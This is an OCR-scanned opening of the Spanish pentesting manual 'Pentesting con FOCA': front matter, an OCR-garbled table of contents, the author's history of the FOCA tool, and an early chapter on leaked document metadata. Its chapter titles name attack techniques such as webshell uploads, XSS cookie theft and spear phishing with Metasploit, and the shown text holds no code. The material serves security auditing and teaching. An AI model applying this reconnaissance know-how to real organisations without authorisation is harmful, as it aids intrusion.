Pentesting con &L,
Chema Alonso |

con la colaboracion de :
Pablo Gonzalez, Ioseba Palop,
Enrique Rando, Rubén Alonso,
Jesuis Moreno y Manuel Fernandez

Mas de 3000 ejemplares vendidos

RL)  Informatica6a

www.0xWORD.com

“' Eleven [

Paths



BxWoRD

Pentesting con FOCA

ZeroXword Computing

www.0xword.com

Chema Alonso

con la colaboracion de:
Pablo Gonzalez, Ioseba Palop,
Enrique Rando, Rubén Alonso,
Jesus Moreno y Manuel Ferniandez



Todos los nombres propios de programas, sistemas operativos, equipos, hardware,
etcétera, que aparecen en este libro son marcas registradas de sus respectivas
compaiiias u organizaciones.

Reservados todos los derechos. El contenido de esta obra esta protegido por la
ley, que establece penas de prision y/o multas, ademds de las correspondientes
indemnizaciones por dafios y prejuicios, para quienes reprodujesen, plagiaren,
distribuyeren o comunicasen publicamente, en todo o en parte, una obra literaria,
artistica o cientifica, o su transformacion, interpretacion o ejecucion artistica fijada
en cualquier tipo de soporte o comunicada a través de cualquier medio, sin la
preceptiva autorizacion.

© Reimpresion ZeroxWord Computing S.L. 2016.

© Reimpresion ZeroxWord Computing S.L. 2015,

© Edicion ZeroxWord Computing S.L. 2013,

Juan Ramon Jiménez, 8. 28932 Méstoles (Madrid).

Depésito legal: M-35705-2013

ISBN: 978-84-616-6319-4

Printed in Spain

Proyecto gestionado por Eventos Creativos: htip://mww.eventos-creativos.com



Indice

Indice

Introduccion:

Fear the FOCA! ! - i R SR 13
Capitulo 1

Los metadatos... SRS RS T W
1. Metadatos, informacion oculta y datos perdidos 18
2. Metadatos en documentos ofimiticos 20
Metadatos en MicTOsOI OISR .ot S 20
A e O s s s e e T T T A 20
Propiedades del docHIEnIo i iiieiiinaimenss snsrassssssnanmssmsassnassnsssngensssssnssspassaesyantsosasssnesass 21
Bichetos HiCrustanDe sty o0 Sl ] L L ety 22
Desvinculado de ficheros graficos incrustados..........occovecieicniereeiceie e 24
ReviSiONEs W OATICACTONRE. . n i soos oo iusnnoonenmesma s sosasnass issssmsosssions s s A S s 25
Notas: Ericabezados y Pies de DEBINAS .. umvmivsiasss asusinsnssiasissssssisisissivis i i 26
Informacion BETEa POL FORIINI . i i mem i s o i S St S st 26
Otros lugares donde se almacena la informacion .............cocoviiiiiiiiiiiiin e 26
I N O T s o i e S T T T N s 27
GO exIORes BIDASeRINE A crr s o E s A AR R 27
T 5o o e A oy e L S 28
MetadatsEnDpenheE] ) e i el L ittt ety soes S ip s adns 30
D AR R SODANER oy cvvviuiimunansiasusinsesumssms bosive s o s AR AR AR s o s B S AT R 31
T DIEE S ILOS v s 0 S S o o s ST B 32
PIARTIIAR oo i s b i i s B T s vorsssaswabssv v 32
Boctimentos vnculados & neruStados . v s i s 34
T i oot a1 e e R PP U S 36
P ALTATOSOCUHLOS ... ..o sosseingsnesnasns ssnsassssennsssassanatmns dammssmen srs seh s s e T AL AT RS R SRR LSS 37
Notas, Encabezados, Pies, COMENMTATIOR .. ....cccerersaneesussrsssssoorsessasssassrsassaussssssosssssssasassassssines 38
ettt O D EROT A TR Y it e A S R PR T S S A 38
TR A IO o s i A A T 3 VAR e S R RS 39
Versiones de doCUmMEntOs: . . cooas s o i i s 40
Metatatos EnXPPle TWORK i s s D T s s S Ry SR 41



Pentesting con FOCA

El fichero BuildVersionHIstOry PLISE s s sossssssvsasinisinsisstuinsers viasosssstissasens sipssnrapsnnsonsosss 42
Vista previa en la carpeta QuickLook: Preview.PDF y Thumbnail jpg........cccoooviiinnnnc. 43
Carpeta thunibs ¥ archivos INETISTEAOS .. ouiais b i b i s s A 44
El perfil de colory los . documentos grafiCos. ... imiidiosssisssshasiodssnianisniisniauiliv 44
ATehivos con eXtenSIO CRATISHT. . ..ooormmmmsmmepssmmsrmesmsnssnsss e s T R R 45
Los archivos maestros: Index. XML e Index.apXl.......ccccovvviirinriiemneeee i 45
OIBTEL0 NISOHERAA .o smorsnssesonmnres sisnsemss sass s A AT B RSN S SR B R o e 46
Tl T RGO OUTITER ciscviusssismvonmuvinervs v seis o0 Koasshs Ry Lo h SR 3AS e 5 SR VRS S EOS AFR FS F PR LR SO TR SR R 47
Rt 106ales e HEEIDNT0S Pl ismummonassimssionms i oo asissn sism s i e saessepsr s 47
Versiones y fechas dél dOCUMENTO v v i s et 47
Informacion de TMPIeSOras: sk S i i 48
Version:del sistemaoperativer. ... .. caisnsiiidnnsnnaianrundsmrsussnns 48
Control de L amibios .. .. .cnvemnsessensmnsrossassssanseransonmmmsnnsenstins iR AR R R oS T Sl 48
Las pistas en los documentos Apple IWOrK ... 49
Metadatos en otros archivos de MS OffiCe .......ccoerueariivssmenrsiesssssesimssresiessrssnessensamenesss soassassses 50
ATChIVOS dE AUtOTEOUPEEACTON v.vis sovssvssssssns sissaussessmin 351551955 U ESaRe AL RS oo or AN Y5 BY £a g ne s ses i 50
Ottos formatos de docuntentos en Microsolt BREel ..o iommisssismnnsnssaishimmasiatos 51
Metadatos erni formatos Postscript y PDF i.oiiimneiirssaimmsssimmiis iiissisas 53
(XML} Forms Data FOTMEL ;i iiesinimme b s st i emsn e e Sl s vabo o 54
Capitulo 11
Analisis y limpieza de Metadatos........ " ‘ g g - 57
1. Analisis de metadatos con FOCA 57
Metadatos como parte de una investigacion forense..........ocvvvienieirisrsmsn s 62
T8 D31 e VL L P e EINMNTL Dby Ol L L S s s D0 e e 62
L oGaliZAcTON de Ui BEPAERT i o R s N Eas VA AR De R L e TR P A 63
Seguimiento de MOVITTEITOS s o o R i oA vato oo s o SR A PO 65
Picateria de softwWane:. ..o i e i e e A 67
2. Information gathering con FOCA 68
3.Riesgos asociados a una mala gestion de los metadatos 80
T DV oo csoitvuuvbains s sinsisss oy wovsoass B0 B B B oS A L R A A s s S ms dan 81
Stolen Camara PIer: s o i e s re s T T R e S T s 82
Flame: v 105 metadatios. ...... e e ecsncsns sasdhessesvsinsdhibisi s b s mbom s i sdamasaii siieiapaianiidsiaaniin 83
Esquema Nacional de Seguridad............cooeevesmsrnsrssssssisnssnssionssnsssmsssssensiodsasiebosssbisbioscibanans 84
8710} a1 Be s Fo 6wt a1 o1 (RN DB e L1 ety n 84
4.Eliminacion de metadatos ..85
Eliminacién de metadatos de forma mamual . ... ioiiminsiniaicnimivs e s isssseriaivssssiivess 85
Documentos MicroSoft OMTICE: i ismn it s o s i A A iws b b s it s 58 85
Mictosoft OfffceparaMac.. ... iin i aainirarah it bt ati 86
Documentos OPEnOFHCE ........oersemnssressosresessessnsiesesessssnsessses sesbsdisibssasinsioassarsatsssbaiossssiinashiss 87
Eliminacion de metadatos en IMAZEIES ......cueirerrssrrsresreserussesrsessinsvastassassassassasasrastssssssesssssasoss 89



Indice n

Eliminacion de metadatos de forma automAtica ...........occevveeeieeeivieeieerce e 90
Metrshield Proteetig . e Loa bl o o e o i s s RS S S S S Ebeol 90
MetaShield Protector for IIS y MetaShield Protector for SharePoint .........ccococovvevvvevecnnnnnn. 91
Metshicld ProtectardotiCHEnt . s T e e et s s o s i 96
Manipulando metadatos para engafiar a la FOCA ........cooooomiiiieeeieeeeeeeeeeeeeeee e 97

Fuga de informacion en empresas lideres en Data Loss Prevention.................occcoveevveieiieeecnnne 99

Capitulo 11
Descubrimiento de la red. . - e SRR ISR sl 03
1. Opciones de descubrimiento de red. 104

WebSearcher: Localizacion de URLs en buscadores de Internet ............cccoeevvicevieivecneennee, 104

TN s somarisnn s oo KUK B i ' L G S s A SR N 106
Analisis del DNS con Diccionario y Transferencias de Zona .............ccceoevevcvioiiviiicnnn. 108

NS PR GO cosnentiorsmmsim s ot v o S e B S A S s 113

B T 114

PR S A I o s s B T o A e s o s e 115

e e Ty N T U 117
Descubrimiento de la red mediante angentes SNMP..........ccoovvieriricniciienieciereeieee e 119

L e L e P 1L U ) LI Ll ST T\ N S 121

Cetffi A0S TIEIEATES. .. ouisasmsovesmmonvsmsms s s ms s s T BB o S e 123

GEoRBIC S SRR . vt ki st s i 126

2.Opciones de fingerprinting .... 127
Fingerprinting con banners y mMensajes de EITOT .........o.voveevveveeveieiesseeieseeeeeeeseeeeeeeereeeeeenens 128
Fingerprinting de versiones en servidores DNS ............cocoiiiiiinioiiciiieecceecrsese v 129
Configuracion de opeiones de AngerPrinting.........c.coviesrsasssseeisassomsesssnss isssssnssnssassansasns 130

3.Vista de red y de roles 131
Corclusiones finales del Network DISCOVEIY ..iv..iu sibiassisisissisissiniiinsisasieiissisiansssesasasssiss 134

Capitulo IV
Busqueda de Vulnerabilidades..... . i PR RO 135

1. Tipos de vulnerabilidades analizadas por FOCA............ 135

Baclipatmcant s o O I e oo s TR | et L L 135

Listad o tle QitBtOrION. «omameusve s s A R e s 137
Busqueda de malware y BlackSEO con patrones de Directory Listing ............cco.cvvevnnnenn. 138

DINS: Cachie SHOBPIRS oo s i s s e s el i i s 139
Escenarios de ataque aprovechando DNS Cache Snooping..........c.oeveviiviieiiciieinececsincnn. 142

FICRETO8 D S O sttty o0k iaa s e ampsmsmsarmn s ape s oas S e AP mS Ee RS SRS SRS S R P s MG O SN ATORS 144

Bug PHE CGL Ca0e BRUUbBI, . oo rsrmsrasansss s sas saes phss st sesssnnastsssases sesss 146

MELOAOS HTTP INSEEUIOS ...ttt era s et eas st senebbenes 148
subidade Webshells Eon Bt PUIT e e s r s s 150



m Pentesting con FOCA

Hijacking de cookies HTTP-Only con XSS usando TRACE........c.ccoiinniinn 152
TUIE DIEEL o; vovsmrmnresnssmmmesmsrormeames s s manso i reses Hiw s cu et i s gt veserss ARSIt LS VISVt Evten s 154
FIChEI08 JISEIE.. . sounssscososuninsnssaporsassssvinsshistossossssnns i s srayed sus 5o 5om mass sy emsn s s absamaamaameiens 156
Multiple Choices: mod_NEgOtiation.........coviisissiisssssrenssssrassssnssssssssmssastesssassnsrosssnsrsssinsnssasens 158
Ficheros .svn/entries de repositorios SUDVETSION .....ccvivisiinmirerinienioniesienscussisiiasaasssressesiasaasass 159

Descarga de ficheros con Pistine y we.db en repositorios Subversion ... 160
Bisqueda de servidores PrORY i e s i mioin e s eisitasiu e i st ises 162
Data Leaks: Fugas de informacion. ......iasiihimsiaaiaiiingimmsiprmgag 163

Generacion de Errores y Data Leaks en las URLs parametrizadas ........o.ocovanieieninnissnnnn 164
IR T SHOTETIARIE cceoniesavesoom i oo et O LRy T e e B L 166
BB Tic e tn] g (s Rl 1131 (-1 5 (o1 ORI RO 11y MDA SOt NI 0 0 S S R SR 167

2.El algoritmo paso a Paso.......cieiieciniinnens ...168
3.Un ejemplo con FOCA...... e 170

Capitulo V

Plugins, informes y otros trucos. .. i S SAsaEmaRRs s sasad 1
1. Funciones avanzadas de FOCA 176
Como Ba localizado FOCA 18 IaTormation. qomsms s st s s nssori it 176
Busqueda personalizada . it asiamm i s S s s 177
Obtencién de URLs en Dominios muy grandes.........c.ccoeieiioeiiniiiiiisiinsensssnssssssesssssnnes 178
Personalizar el valor del User-agent de FOCA .........ccocoiimiimmiainimimimamimminiiiissss 179
Monitorizacion de FOCA: Tareas ¥ LOES ......coccrvuessrossssressnersessnssnmornssnssnsessssasesssssssnsssassncaassnss 181
2.Integracion de FOCA con otras herramientas.........ccouvesvsnsnesessnssessessensensacsnnsanes 183
Uso de FOCA con herramientas de Spidering .....conaunsiiminmssvinisssivsmassiniesssspesssanss 183
FOCA Intruder: FOCA 4 Burp Suite + INHAET (vt vinrimesssinsisis s 185
Malware via actualizaciones; FOCA + Evilgrade.......ivaiiiimniiiinmninimisssisi 188
Ataques Spear Phising: FOCA + Metasploit..........ccocoiiiiiimnnensicnii e 150
URLSs desde el pasado: FOCA + Archive.org 192
3. Pluging en FOC A ...ciciiiimnissmsuovsssrenssssossans - 194
Plugin VI EDTIER PATREE oot i i s Sebisvas Voo Ren s o iy o e od o S omi senz ks e i 195
Plugin Web FUZZEE . civiseiiss st sadn i i s oo i s S A e s S o e G s s s 196
Plugin [15 Shorthame BXUractor s s s b st i s s vy st 197
NTES: Based Scrver Enumerator. . ... oo s il ipaiiasnnmsamanss 198
Plugiit Aato SQLASRACHET. .o st siinsmitsmassmma ki ssrsss e S s Eo RV R sh s Sy 201
4. Gestor de informes .......cvrueee 204
BOCA ONIING inniinninn it s Rt s i s ivs s hess S5 5 wmiren s AR S H i e SRS e w0 207
5.Mas trucos con FOCA......uuucevniervennne 208



Indice “

Capitulo VI

Como crear plugins para FOCA ..........ccceviiiinnnnnnne R e Ty 4
1.Creacion de un plugin basico 211
Creacion del proyecto para el plugin en Visual Studio .......cccovioiiieiiiieiicniciinniececrccieene 212
Creacion inicial del plugin e Integracion de la AP1 de FOCA .........cccooiieiiiiiciiceeiecccn, 213
Pesarollo dela fancionalidad del pIagini v i imiin i 214
2.GUI del plugin .. R P RN 216
R D A N O EO5 sdumcsiin b sy R e RS S A A s R A A PR e 219
Importar elementos desde el plugin ala FOCA ......ooioiiiieiiicceceeeeeee et 221
FiEINAl s annsissasniisiesiiis 225
Indice alfabético ......... e PR L N D P A R IPRTRONIE 7 4 |
indice de imAZENES ...c.eeverereerererenrenennes YL VDI RO IO 7 L.

Libros publicados s ; R P—— e PPN & -



tad

Introduccion |

Introduccion:
Fear the FOCA'!

Corria el afio 2008 cuando conoci a Enrique Rando y comenzamos a jugar con los metadatos de los
documentos ofimdticos. Primero fue solo sacar mefadatos e informacion oculta manualmente y con
herramientas variopintas de todos y cada uno de los formatos que iban apareciendo. Primero los de
Microsoft Office, luego los de OpenOffice, los metadatos en ficheros PDF, etcétera.

De ahi decidi que habia llegado la hora de automatizar el proceso un poco mads, asi que tiré de
mi equipo de trabajo en /nformdtica 64 y les puse como tarea hacer una herramienta de extraccion
y borrado de metadatos, a la que llamamos internamente MetaExtractor. Nunca se public esa
herramienta, aunque internamente la hemos usado durante afios por su capacidad de limpiar los
metadatos. Si que se publicéd una version mas limitada llamada OOMetaExtractor que hacia lo
mismo, pero solo para documentos ofimaticos.

Cuanto mds jugdbamos con los metadatos, mas cuenta me daba de que tenia mucho sentido
automatizar la inteligencia del analisis, para acabar con una herramienta que pudiera pintar la red
interna de una organizacion a partir de esa informacion extraida. Aproveché que iba a tener a uno de
mis compafieros desplazado en su tierra trabajando sélo a media jornada para ponerle como objeto
el programar esta inteligencia sobre la herramienta previa llamada MetaExtractor.

Dia a dia, semana a semana, ese andlisis de metadatos crecia en inteligencia, y en la colaboracion ya
no solo estaba Enrique Rando, ya que Antonio Guzman se habia subido al proyecto. La herramienta
crecia mientras con las lineas de codigo de Francisco Oca, al que yo bombardeaba dia a dia con
nuevas cosas a afiadir. Ya tenia muy buena pinta la herramienta, asi que hubo que bautizarla.

Para el nombre decidi el nombre de FOCA porque me gustaba como sonaba y porque ademas habia
algo de cachondeo en ello. A Francisco Oca no le gustaba demasiado estar desarrollando el tema de
los metadatos en MetaExtractor, y yo queria que le cogiera carifio al proyecto. Por ello pensé en
llamarla asi, que era como le hubiera tocado el nombre de correo electronico al bueno de Francisco
en /nformatica64 si €l no hubiera explicitamente “no ser la FOCA de Informdtica64”. Mira ti por
donde.

Después empecé a dar alguna charla en la que la ensefiaba, y envié un paper con lo que habiamos
estado estudiando alrededor de los metadatos en las conferencias de Black Hat Furope 2009, donde
nos aceptaron. Aprovechamos aquel momento para hacer la presentacion oficial a nivel mundial, y
lo cierto es que nos sorprendid el impacto que tuvo, asi que decidi que habia que seguir apostando
por esa FOCA.
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En paralelo yo queria dotar a la herramienta de algun modulo de reporting, asi que arrancamos el
proyecto de “La Foquetta”, algo que le cay6 a Dani Romero, un joven recién llegado a Informatica
64 que se tuvo que pegar con el Crystal Reports para conseguir terminarlo.

Poco a poco habiamos ido anadiendo también herramientas de post-analisis a #OCA, hasta que un
dia, haciendo una demostracion en la Universidad de Burgos, todas las pruebas que hacia daban
resultados positivos.

Esto no hizo que me sintiera contento, sino que al contrario pensara que a FOCA le faltaba hacer esto
de forma automatica, asi que me senté y escribi un pequefio archivo en el que describia como deberia
ser el modulo de descubrimiento de red, asi que se lo envié a Francisco, que lejos de ver su cambio

a otro proyecto acabo viéndose enfrascado en lo que a la larga seria la FOCA 2 que se present6 en
la RootedCON 2010.

FOCA 2siguid creciendoy se afiadieron muchas mas cosas. Se incorporaron modulos de fingerprinting
y muchas mds herramientas que facilitaran la vida a un pentester. En ese momento ya se habia
incorporado Manu Fernandez “The Sur”, quién le dio mucha personalidad a la herramienta. De €l
sali6 la idea de hacer los plugins, de meter el gestor de las tareas para los médulos de fingerprintig o
el registro de logs, por citar solo algunas de las que aporté Manu, que fueron muchas.

La FOCA se habia hecho ya muy popular, y empezamos a recibir ideas de mucha gente que ibamos
filtrando, adaptando e implementando en nuestro proyecto. Compafieros de Informdtica64, amigos,
o conocidos de profesion aportaron ideas que utilizamos para hacer mas potente la herramienta,
hasta que la llevamos a la Defcon 17 donde la presentamos ya muy evolucionada.

Para construir el inferfaz que tiene actualmente, le pedi a Alejandro Ramos “dab™ que se pasara por
la oficina y me ayudara a darle una vuelta al disefio para que fuera mucho maés (til para un pentester.
Se paso un dia, y en una mafiana le dio la vuelta dejando el interfaz que mas o menos tiene ahora a
partir de FOCA 3.

En la version 3 de FOCA nos centramos sobre todo en afadir plugins y modulos de deteccion
de vulnerabilidades, ya que la era una herramienta fundamental para nosotros en las auditorias
de seguridad. Colabor6 gente como German Sanchez, José Miguel o Pablo Gonzilez aportando
ideas e incluso afiadiendo codigo. aunque Rodol y loseba fueron los que se ocuparon de las tltimas
compilaciones de la herramienta.

Visto esto, he de darle la razon a un amigo que decia de mi que tengo la capacidad de enamorar a
la gente con las cosas que hago, y en el caso de FOCA he conseguido que decenas de personas se
animaran a ser parte de esta herramienta, que hace mucho tiempo que dejo de ser “una herramienta
para analizar metadatos™.

Con el paso de Informdtica 64 a Eleven Paths, FOCA fue también parte del proceso, asi que se
vino con todos nosotros a Telefonica. Alli decidimos “matarla” creando lo que nosotros llamamos
“Faast” FOCA as a Service, que no es mas que una mega-FOCA con una arquitectura basada en
cloud capaz de soportar cientos de proyectos en paralelo.
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Pero...no ibamos a dejar que FOCA acabara asi, por lo que decidimos que habia que darle un repaso
final, escribir este libro y liberar la tiltima version.

Este libro era un proyecto que se fragud hace ya bastante tiempo, cuando convenci a Jestis Moreno
que me ayudara a recopilar lo que ya habia escrito y contado en el blog y en multiples conferencias.
De hecho, la estructura del libro esta basada en la charla que Manu y yo dimos en la Hack in The Box
2012, que despues de afios trabajando con FOCA es la que mas sentido tiene.

La verdad es que no tenia mucho tiempo, pero queria acabarlo, asi que durante un mes me he sentado
todos los fines de semana para acabar de repasarlo, y dejarlo como estd. Es el manual de la FOCA
que me gustaria haber escrito hace tiempo, asi que espero que os guste tanto como a mi me gusta.
Son afios de trabajo de muchas personas para hacer esta herramienta, que ahora mismo ti puedes
ampliar haciendo plugins para esta nueva y ultima version.

Ahora la FOCA es tuya, asi que haz que todo el mundo diga eso de: “Fear The FOCA!”

Chema Alonso



Capitulo 1. Los Metadatos

Capitulo I
Los metadatos

Los metadatos pueden definirse como simplemente datos que contienen informacion relativa a
un documento o fichero concreto. Asi por ejemplo, un archivo de texto podria contener entre sus
metadatos multitud de informacion relacionada con su procedencia, como datos sobre su autor, su
fecha de creacién y modificacién, qué otros usuarios han manipulado el documento o el software
utilizado para su redaccién, por citar solo algunos ejemplos. Una fotografia, a su vez, podria
incorporar informacién en sus metadatos sobre la marca y el modelo de la camara utilizada, la
profundidad de color, su resolucién o, incluso, las coordenadas de posicionamiento GPS desde la
que se realizo dicha fotografia.

Los metadatos resultan muy utiles para catalogar la informacion y para facilitar su localizacion, ya
que la informacion que incorporan se utiliza para optimizar las busquedas, y son utilizados de forma
masiva por los Sistemas de Gestion Documental de las compaiiias y por los motores de busqueda de
Internet. Los metadatos de los ficheros almacenados por estos sistemas simplifican el desarrollo de
filtros para, por ejemplo, localizar los documentos creados por un determinado usuario o acotar una
bisqueda para discriminar documentos en funcion de su fecha de creacion.

Los metadatos ademas son la base de la Web semdntica, una ampliacion de la Web en la que,
idealmente, las aplicaciones podran interactuar sin intervencién humana porque conoceran
el significado de los datos y las relaciones existentes entre ellos, por lo que es necesario que la
informacion esté autodocumentada.

No obstante, los metadatos podrian convertirse en un riesgo potencial para el creador de la informacion
si, al distribuir o publicar documentos en Internet, no son gestionados de forma adecuada.

Quizas el primer caso conocido por la opinion pablica relacionado con los metadatos fue el escandalo
del gobierno de Toni Blair y el documento sobre la guerra de Irak. En este archivo, recibido desde
EE.UU, se informaba de la existencia de armas de destruccién masiva en Irak y Toni Blair lo presentd
en el Parlamento britanico para justificar la intervencion de Gran Bretaiia en la guerra.

Durante su intervencién se le pregunté si el fichero habia sido modificado, pero ¢l lo nego en
rotundo. Sin embargo, alguien investigé los metadatos del documento y, tal y como podemos ver
en la imagen 01.01, los metadatos guardaban la informacién de los usuarios que habian trabajado
con el fichero y que habian realizado modificaciones, demostrando que el gobierno briténico habia
mentido a sus ciudadanos.
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Blair's government made one additional mistake: they published the dossier as a Microsoft Word file on ther Web site. When [ first heard from 1
had worked on the document. | downloaded the Word file containing the dossier from the 10 Downing Street Web site (http://www.number-10

Rew. #1: "cic22"™ ediced file "C:\DOCIRE-1\phamillI\LOCALS~1\Temp\RutoRecovery save of Iraq - securicy.asd"
Rev. $2: "cic22™ edited file "C:\DOCUME~1\phamilli\LOCALS~1\Temp\AutoRecovery save of Iraq - security.asd"
Rev. #3: "cic22" edited file "C:\DOCUME~1\phamill\LOCALS~1\Temp\RAutcRecovery save of Iraq - security.asd"
Rev. #4: "JPract™ edited file "C:\TEMP\Iraq - security.doc"”

Rev. #5: "JPratt® edited file "A:\lreq - security.doc*

Rev. #6: "ablackshaw” edited file "C:\ABlackshaw\Irag - security.doc"

Rev. #7: "ablackshaw™ edived file "C:\ABlackshaw\A:Irag - security.doc™

Rev. #8: "ablackshaw" edited file "h:\Iraq - security.doc"

Rev. #9: "MEhan™ edited file *C:\TEMP\Iraq - security.doc"

Rev. #10: "MEhan” edited file "C:\WINNT\Profiles\mkhan\Desktop\Irag.doc"

Imagen 01.01: Usuarios que habian modificado el documento sobre las armas de destruccion masiva.

1. Metadatos, informacion oculta y datos perdidos

Ademas de los metadatos, podemos encontrarnos con otro tipo de informacion susceptible de
convertirse en un riesgo para la seguridad del productor de la informacion.

La informacion oculta es informacion no editable por el usuario que sera usada por el programa que
lo interpreta, como la ruta a la plantilla con la que se estd creando el documento, el modelo de la
impresora con la que se ha formateado una pagina, etc.

Los datos perdidos son informacion que se encuentra en un documento debido a errores humanos,
negligencia o falta de destreza con las herramientas, como pueden ser rutas a servidores internos,
informacion oculta por el formato, etcétera. Un ejemplo de datos perdidos podria darse si un usuario
copia la url que apunta a uno de sus servidores internos en un documento de texto. A continuacion, el
usuario modifica el texto de la zr/ en el documento, pero en el hipervinculo creado por la herramienta
la direccion a la que apunta es la del servidor interno.

En realidad estos tres tipos de informacion pueden a fluir de uno a otro:

- Los metadatos pueden convertirse en datos perdidos al realizar una mala gestién o una
mala conversion de formato. Por ejemplo, al convertir un documento a otro formato, es
posible que la herramienta de conversién no sepa qué hacer con alguno de los metadatos y
puede que se incluyan en el pie de pagina al realizar una impresion.

- A su vez, los datos perdidos pueden convertirse en metadatos. Por ejemplo, cuando un
documento subido a un servidor Web es Indexado por una arafia, si el buscador necesita un
campo autor pero el documento no tiene ese metadato, el buscador tratara de extraer esta
informacion del propio documento buscando en su firma, en el pie de pagina, o en la primera
linea.

- Los metadatos también pueden convertirse en informacion oculta. Por ejemplo, si tenemos
un objeto, como una imagen, incrustado en un documento de texto, los metadatos del objeto
puede que no sean visibles ni manipulables con el editor de texto que se esta trabajando y,



Capitulo I. Los Metadatos 19

por tanto, se convierten en informacion oculta que se incluye de forma no visible ni editable
al final del documento.

- A su vez, la informacion oculta podria convertirse en metadatos si aparece una nueva
aplicacion o una nueva version de la herramienta que es capaz de almacenar esos metadatos
y permite editar esta informacion.

- Ademis, la informacién oculta puede convertirse en datos perdidos, ya sea por una mala
gestion de la informacion o por objetos incrustados.

- Y finalmente, los datos perdidos podrian también convertirse en informacion oculta al
manejar objetos incrustados.

Ficheros
embebidos

Nuevas
aplicaciones o
nuevas versiones

Mala gestion
Mala conversién
Opciones inseguras

Buscadores
Arafias
Bases de datos

Ficheros

W -
‘/'1:. gestion

Formatos embebidos
Conversion erronea
Opciones Inseguras

Imagen 01.02: Metadatos, informacion oculta y datos perdidos.

Para ilustrar la explicacion anterior, podemos ver en la figura 01.03 que se ha realizado una bisqueda
en Google por tipos de fichero .fx, que son un formato de archivo que no guardan ningin tipo de
extructura al margen de lo que se puede ver a simple vista para almacenar metadatos.

Sin embargo, a pesar de que no existen campos especiales para guardar la metainformacion, se
puede comprobar que el motor de bisquedas de Google ha creado un metadato con el autor del
documento, extrayendo esta informacién del propio fichero.

Estos metadatos no quedaréan incluidos en el mismo fichero, pero si dentro de la base de datos de
indexacion que el motor utiliza para localizar la informacién y que queda expuesta a todos los
visitantes que intenten encontrarla desde Internet.
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Google P

@ Buscar en la Web @ Buscar sélo paginas en espaiiol

La Web

Statement Analysis - The FBI - [ Traducir esta pégina ]
Special Agent Adams teaches statement analysis as part of inteniewing and interrogation
courses at the FBI Academy. ...

www.fbi_gov/publications/leb/1996/0ct964.txt - En cache - Similares -

Suspect Restraint and Sudden Death - The FBI - [ Traducir esta pagina ]
(When hog-tied restraint is used to control violent suspects, officers can take precautions to
prevent sudden deaths ) One law enforcement technique for ...

e publications/deb/1996/may966.txt - En caché - Similares - 5 [#[%
de DT Reay § 1992 - Citado por 9 - Articulos relacionados

as resullados de www fbi gov »

Imagen 01.03: Metadato creado por Google.

2.Metadatos en documentos ofimaticos

Aunque los metadatos son de gran utilidad hoy en dia y permiten coordinar las complejas tareas
de elaboracion, edicion y sobre todo de clasificacion y localizacion de documentos en entornos
personales y corporativos, la informacién que almacenan podria ser aprovechada por un atacante si
no se realiza una gestién adecuada de los mismos cuando los documentos abandonan los repositorios
de la organizacion y se exponen al exterior. Las organizaciones deben controlar los metadatos de
los documentos que publican en cualquier medio - ya sea una pagina Web o un mensaje de correo
electrénico -, por lo que es fundamental conocer qué tipos de datos se guardan en un documento
cuando éste se genera o modifica con una determinada aplicacion, pues cada comportamiento serd
diferente del anterior.

Metadatos en Microsoft Office

A lo largo de esta seccion vamos a estudiar la informacion que se guarda en un documento de
Microsoft Office analizando los puntos clave de los datos almacenados.

Datos del usuario

Durante el proceso de instalacion de Microsoft Office aparece un cuadro de dialogo en el que se
solicita informacion acerca del usuario que va a utilizar este software. Esta informacion va a ser
aiadida por defecto a todos los documentos creados con esta herramienta por ese usuario.



Capitulo I. Los Metadatos

-: Programa de instalacion de Microsoft Office 2003

Microsoft Office Professional Edition 2003 D
]
La

Informacion del usuario

tombre de usuario; |Prnhad-:|r de OFfice2k3
Iniciales: IPO
Organizacion: lLas pruebas

Imagen 01.04 Informacion de usuario en Office 2003.

En entornos multiusuario es habitual que un mismo producto sea utilizado por varias cuentas de
usuario distintas en un mismo ordenador. A cada uno de estos usuarios, la primera vez que use
Office, le aparecera un cuadro de didlogo para rellenar esta informacioén. Y los valores que introduzca
figuraran en todos los documentos que dicho usuario cree a partir de ese momento.

Nombre de usuario

Escriba su nombre completo v sus iniciales.

Mombre:

Iniciales: [2 ___-:]

Imagen 01.05: Un usuario distinto utiliza por primera vez Office en el mismo equipo.

Hay que tener en cuenta que el valor por defecto para el campo “Nombre” es el identificador de la
cuenta del usuario. Si este dato es aceptado por el usuario y los metadatos del documento no son
modificados, entonces todos los archivos van a distribuir el nombre del usuario del sistema.

Propiedades del documento

Cuando se crea un documento, éste puede ser catalogado con Meta-informacion de forma explicita, es
decir, el creador del documento puede marcar una pequeiia descripeion, palabras clave de busqueda,
un departamento y otro tipo de informacién que considere oportuno o Gtil en su organizacion. Esta
informacién queda guardada de forma permanente, de manera que si un documento con Meta-
informacion es utilizado como base para generar otro, esta informacién va a perdurar.
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| Articulo sobre Metadatos

Autor: j‘émique Rando & Chema Alonso
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Administrador:

El Organizaddn: !Pruebas

i Categoria: | Aruhjosuu{guic::s

Palabras dave: |Metadata Office i

Comentarios: Nnde;ar datos importantes aqui que luego tndod
{mundo se entera de que lo he copiado de otro

hipervinado: LU
Plantilla: MNormal.dotm
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Imagen 01.06: Propiedades de doc

Es importante remarcar que los metadatos de un documento pueden ser personalizados y, por tanto,
pueden tener cualquier atributo que el autor haya querido afiadir. Esto puede convertirse en un
problema cuando se hacen publicos documentos generados en un entorno corporativo, ya que un
metadato inapropiado puede perjudicar la imagen de la organizacion.

1

Ficheros incrustados

Los documentos Microsoft Office permiten desde hace mucho tiempo incluir imagenes, tablas
de Excel u otros documentos Microsofi Office y de terceros. Todos esos documentos vienen
acompaiiados de sus propios metadatos y, si no han sido correctamente limpiados, pueden ser un
foco de divulgacion de informacién no deseada.

En el siguiente ejemplo se crea una imagen con GIMP, un editor de documentos gréaficos. Dicha
imagen tiene informacion EXIF que puede ser leida con cualquier lector de EXIF. En la siguiente
figura se puede ver como la imagen tiene un atributo de los metadatos que marca el programa que lo
ha generado vy la existencia de una miniatura (thumbnail) dentro del propio archivo.
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&% ExifReader - Copia de ImagenEXIF. jps
File Information Help

&) Dpen C:\Documents and 5 ettings'2k 3b\E scritorio\Copia de ImagenEXIF. jpg < 11 ¥
e aas Itemi arme Ilnforrnalim _l
JFIF_APF1 Exil

Created wath GIMP

44
JPEGInterchangeFormatlen,,. 3576

JFIF_&PP1

Imagen 01.07: Archivo grifico con Informacién EXIF leido con ExifReader.

Esta imagen se va a incrustar dentro de un documento con formato de Microsoft Word 97 utilizando
para ello la opcion de Insertar imagen desde archivo que ofrece la herramienta. Una vez que el
archivo en formato binario .DOC esta generado se puede acceder a dicha informacion EXIF leyendo
el documento con cualquier editor hexadecimal.

